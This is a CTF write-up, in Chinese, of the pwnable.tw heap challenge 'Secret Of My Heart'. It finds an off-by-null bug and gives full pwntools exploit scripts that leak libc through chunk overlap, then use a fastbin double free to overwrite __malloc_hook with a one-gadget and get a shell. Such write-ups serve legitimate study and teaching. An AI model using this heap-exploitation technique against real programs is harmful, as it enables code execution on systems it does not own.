---
# System prepended metadata

title: Pwnable.tw-Secret Of My Heart

---

# Pwnable.tw-Secret Of My Heart
> Author: 堇姬Naup
## libc
glibc all in one 中沒有 2.23-0ubuntu5
所以去網路上找libc
https://launchpad.net/ubuntu/xenial/amd64/libc6/2.23-0ubuntu5

把i386載下來
```
dpkg -X libc6_2.23-0ubuntu5_amd64.deb .
```
在libs裡面就有ld跟libc了

patchelf直接patch上去
```
patchelf --set-interpreter ld-2.23.so secret_of_my_heart
patchelf --replace-needed libc.so.6 ./libc-2.23.so secret_of_my_heart
```

## IDA分析
### main

### add+ADD
```c
int add()
{
  int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 size; // [rsp+8h] [rbp-8h]

  for ( i = 0; ; ++i )
  {
    if ( i > 99 )
      return puts("Fulled !!");
    if ( !*(_QWORD *)(unk_202018 + 48LL * i + 40) )
      break;
  }
  printf("Size of heart : ");
  size = (int)read_f();
  if ( size > 0x100 )
    return puts("Too big !");
  ADD((size_t *)(unk_202018 + 48LL * i), size);
  return puts("Done !");
}
```

```c
_BYTE *__fastcall ADD(size_t *chunk, size_t size)
{
  _BYTE *result; // rax

  *chunk = size;
  printf("Name of heart :");
  read_F(chunk + 1, 0x20u);
  chunk[5] = (size_t)malloc(size);
  if ( !chunk[5] )
  {
    puts("Allocate Error !");
    exit(0);
  }
  printf("secret of my heart :");
  result = (_BYTE *)(chunk[5] + (int)read_F((void *)chunk[5], size));
  *result = 0;
  return result;
}
```
可以malloc 0x100內的size
先輸入name，再輸入heart(存在malloc heap中)，這裡多補了個NULL byte，有off by null

```
pwndbg> x/30xg 0x5fd3388cb0d0
0x5fd3388cb0d0:	0x0000000065656565	0x0000000000000021
0x5fd3388cb0e0:	0x6262626261616161	0x6464646463636363
0x5fd3388cb0f0:	0x6666666665656565	0x0000000000020f00
```

### show
```c
int show()
{
  unsigned int idx; // [rsp+Ch] [rbp-4h]

  printf("Index :");
  idx = read_f();
  if ( idx > 0x63 )
  {
    puts("Out of bound !");
    exit(-2);
  }
  if ( !*(_QWORD *)(unk_202018 + 48LL * idx + 0x28) )
    return puts("No such heap !");
  printf("Index : %d\n", idx);
  printf("Size : %lu\n", *(_QWORD *)(unk_202018 + 48LL * idx));
  printf("Name : %s\n", (const char *)(unk_202018 + 48LL * idx + 8));
  return printf("Secret : %s\n", *(const char **)(unk_202018 + 48LL * idx + 40));
}
```
他會顯示該chunk上的資訊
可以拿來leaklibc之類的感覺

### delete + Delete
```c
int delete()
{
  unsigned int idx; // [rsp+Ch] [rbp-4h]

  printf("Index :");
  idx = read_f();
  if ( idx > 0x63 )
  {
    puts("Out of bound !");
    exit(-2);
  }
  if ( !*(_QWORD *)(unk_202018 + 48LL * idx + 40) )
    return puts("No such heap !");
  Delete(unk_202018 + 48LL * idx);
  return puts("Done !");
}
```

```c
__int64 __fastcall Delete(__int64 chunk)
{
  __int64 result; // rax

  *(_QWORD *)chunk = 0LL;
  memset((void *)(chunk + 8), 0, 0x20uLL);
  free(*(void **)(chunk + 40));
  result = chunk;
  *(_QWORD *)(chunk + 40) = 0LL;
  return result;
}
```
會去free對應的index，他會去清空heap arr，下次malloc就會拿到空的那塊重新寫chunk address，所以沒有double free

## 分析
有off by null就可以先打一些overlapping之類的了

不過在這之前先搞leak libc
可以打overlapping，讓一塊chunk活在free chunk中，那個位置是fd跟bk，這樣就可以拿到libc了
malloc 0x38 -> 拿到chunk0 0x40
malloc一塊0x100 -> 拿到chunk1 0x110 -> 之後會被蓋成0x100先預留prev size
再malloc一塊0x100 -> 拿到 chunk2 0x110

先free chunk 1
再free chunk 0
之後malloc chunk 0 
並off by null蓋chunk 0 0x111為0x100

接下來
之後malloc 0x88 -> chunk 3 0x90
malloc 0x40 -> chunk 4 0x50
之後free掉0x88
free掉chunk 2
chunk 2 會去 merge前面一整塊
並進入到top chunk
但是卻存活著一塊chunk 4位於free之中

所以就malloc 0x80 -> chunk 5
malloc 0x100 -> chunk 6
多malloc一塊0x30，不然chunk 6會被丟到top chunk
剛剛好chunk 4 跟 chunk 6 fd 重疊
去free chunk 6後印出就會是libc

以上就是off by one製造overlapping來leak libc的過程
```python
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
    r=process('./secret_of_my_heart')
    debug_init()
    
else:                                           
    REMOTE_INFO=split_nc("nc chall.pwnable.tw 10302")

    REMOTE_IP=REMOTE_INFO[0]
    REMOTE_PORT=int(REMOTE_INFO[1])

    r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
    p(r)


### heap I/O
def add(size,name,secret):
    sla(b'Your choice :',b'1')
    sla(b'Size of heart : ',str(size).encode())
    sla(b'Name of heart :',name)
    sla(b'secret of my heart :',secret)

def show(idx):
    sla(b'Your choice :',b'2')
    sla(b'Index :',str(idx).encode())

def delete(idx):
    sla(b'Your choice :',b'3')
    sla(b'Index :',str(idx).encode())

### exploit

### leaklibc
add(0x38,b'000',b'aaa')
add(0x100,b'111',b'a'*0xf0+p64(0x100))
add(0x100,b'222',b'aaa')

delete(1)
delete(0)

add(0x38,b'000',b'a'*0x38)
add(0x88,b'111',b'aaa')
add(0x40,b'333',b'aaa')

delete(1)
delete(2)

add(0x80,b'111',b'aaa')
add(0x100,b'222',b'aaa')
add(0x30,b'444',b'aaa')

delete(2)
show(3)

rcu(b'Secret : ')
leaklibc = u64(r.recv(6).ljust(8,b'\x00'))
libcoffset = 0x3c4b78
libcbase = leaklibc - libcoffset


NAUPINFO(b'leaklibc',hex(leaklibc))
NAUPINFO(b'libcbase',hex(libcbase))

### interactive
ita()
```

接下來要製造任意寫，透過重疊來double free

來寫malloc_hook，觀察一下上方可以找到很多的7...，可以拿來做fake chunk
![image](https://hackmd.io/_uploads/HJUJL0e0C.png)

把前面留在free chunk 的overlapping chunk，調整成malloc 0x60(也就是chunk 4)
先 malloc 一塊 0x60 -> chunk 7 (與chunk 4 完全重疊)
接下來malloc一塊 0x60 -> chunk 8
這兩塊會從unsorted bin割出來
接下來free chunk 7
free chunk 8
再free chunk 4
就會有fastbin
```
fastbin[0x70] -> chunk 7 -> chunk 8 -> chunk 7 -> ...
```
接下來malloc一塊0x60 將 secret改成fake chunk
再來malloc 兩次後
再malloc一次就可以拿到fake chunk 了
```python
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
    r=process('./secret_of_my_heart')
    debug_init()
    
else:                                           
    REMOTE_INFO=split_nc("nc chall.pwnable.tw 10302")

    REMOTE_IP=REMOTE_INFO[0]
    REMOTE_PORT=int(REMOTE_INFO[1])

    r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
    p(r)


### heap I/O
def add(size,name,secret):
    sla(b'Your choice :',b'1')
    sla(b'Size of heart : ',str(size).encode())
    sla(b'Name of heart :',name)
    sla(b'secret of my heart :',secret)

def show(idx):
    sla(b'Your choice :',b'2')
    sla(b'Index :',str(idx).encode())

def delete(idx):
    sla(b'Your choice :',b'3')
    sla(b'Index :',str(idx).encode())

### exploit

### leaklibc
add(0x38,b'000',b'aaa')
add(0x100,b'111',b'a'*0xf0+p64(0x100))
add(0x100,b'222',b'aaa')

delete(1)
delete(0)

add(0x38,b'000',b'a'*0x38)
add(0x88,b'111',b'aaa')
add(0x60,b'333',b'aaa')

delete(1)
delete(2)

add(0x80,b'111',b'aaa')
add(0x100,b'222',b'aaa')
add(0x20,b'444',b'aaa')

delete(2)
show(3)

rcu(b'Secret : ')
leaklibc = u64(r.recv(6).ljust(8,b'\x00'))
libcoffset = 0x3c4b78
libcbase = leaklibc - libcoffset

### aaw

libc_mallochook = libcbase + 0x3c4b10 
libc_onegadget = libcbase
fake_chunk = libc_mallochook - 0x23
add(0x60,b'222',b'aaa')
add(0x60,b'555',b'aaa')

delete(2)
delete(5)
delete(3)

# chunk 0 -> chunk 1 -> chunk 0 -> ...
add(0x60,b'222',p64(fake_chunk)) # chunk 0
add(0x60,b'333',b'bbb') # chunk 1
add(0x60,b'555',b'bbb') # chunk 0
add(0x60,b'666',b'aaaaaaa') # malloc_hook - 0x23

### INFO
NAUPINFO(b'leaklibc',hex(leaklibc))
NAUPINFO(b'libcbase',hex(libcbase))
NAUPINFO(b'libc_MALLOCHOOK',hex(libc_mallochook))
### interactive
ita()
```

這邊我們將malloc hook改成onegadget
然而直接malloc無法觸發onegadget條件
所以可以利用之前的方法
用 double free 來觸發malloc hook上的onegadget
get shell

### exploit
```python=
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
    r=process('./secret_of_my_heart')
    debug_init()
    
else:                                           
    REMOTE_INFO=split_nc("nc chall.pwnable.tw 10302")

    REMOTE_IP=REMOTE_INFO[0]
    REMOTE_PORT=int(REMOTE_INFO[1])

    r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
    p(r)


### heap I/O
def add(size,name,secret):
    sla(b'Your choice :',b'1')
    sla(b'Size of heart : ',str(size).encode())
    sla(b'Name of heart :',name)
    sla(b'secret of my heart :',secret)

def show(idx):
    sla(b'Your choice :',b'2')
    sla(b'Index :',str(idx).encode())

def delete(idx):
    sla(b'Your choice :',b'3')
    sla(b'Index :',str(idx).encode())

### exploit

### leaklibc
add(0x38,b'000',b'aaa')
add(0x100,b'111',b'a'*0xf0+p64(0x100))
add(0x100,b'222',b'aaa')

delete(1)
delete(0)

add(0x38,b'000',b'a'*0x38)
add(0x88,b'111',b'aaa')
add(0x60,b'333',b'aaa')

delete(1)
delete(2)

add(0x80,b'111',b'aaa')
add(0x100,b'222',b'aaa')
add(0x20,b'444',b'aaa')

delete(2)
show(3)

rcu(b'Secret : ')
leaklibc = u64(r.recv(6).ljust(8,b'\x00'))
libcoffset = 0x3c3b78  #0x3c4b78
libcbase = leaklibc - libcoffset

print('***success leak libc***')
### aaw

libc_mallochook = libcbase + 0x3c3b10 
libc_onegadget = libcbase + 0xef6c4
fake_chunk = libc_mallochook - 0x23

add(0x60,b'222',b'aaa')
add(0x60,b'555',b'aaa')

delete(2)
delete(5)
delete(3)

print('***success double free***')
# chunk 0 -> chunk 1 -> chunk 0 -> ...
add(0x60,b'222',p64(fake_chunk)) # chunk 0
add(0x60,b'333',b'bbb') # chunk 1
add(0x60,b'555',b'bbb') # chunk 0
add(0x60,b'777',b'a'*0x13+p64(libc_onegadget)) # malloc_hook - 0x23

print('***success write onegadget***')

delete(5)
delete(2)

### INFO
NAUPINFO(b'leaklibc',hex(leaklibc))
NAUPINFO(b'libcbase',hex(libcbase))
NAUPINFO(b'libc_MALLOCHOOK',hex(libc_mallochook))
NAUPINFO(b'fakechunk',hex(fake_chunk))
NAUPINFO(b'onegadget',hex(libc_onegadget))

### interactive
ita()
```

### 後記
終於2000分了
![image](https://hackmd.io/_uploads/r1olNzbC0.png)





